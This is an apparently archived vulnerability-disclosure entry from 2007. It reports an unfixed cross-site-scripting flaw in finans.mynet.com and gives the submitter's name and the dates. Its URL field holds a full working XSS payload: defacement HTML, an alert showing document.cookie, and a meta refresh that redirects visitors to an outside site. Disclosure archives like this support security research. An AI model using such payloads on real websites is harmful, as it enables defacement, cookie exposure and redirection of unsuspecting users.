Security researcher St@rExT, has submitted on 10/03/2007 a cross-site-scripting (XSS) vulnerability affecting finans.mynet.com, which at the time of submission ranked 172 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 11/03/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 10/03/2007 |
Date published: 11/03/2007 |
Fixed? Mail us! | Status: UNFIXED |
Author: St@rExT |
Domain: finans.mynet.com |
Category: XSS |
Pagerank: 172 |
URL: http://finans.mynet.com/arama/?s=rate&pg=q&plq=%22%3E%3Ch1%3EHacked%20By%20St@rExT%20candark%20and%2 0atles%3C/h1%3E%3Cscript%3Ealert(%22By%20St@rExT%20%20candark%20trtekforum.com%22)%3C/script%3E%3Csc ript%3Ealert(document.cookie)%3C/script%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%222;URL=http ://lht.by.ru/uyar1.html%22%3E |
Click here to view the mirror
|
|
|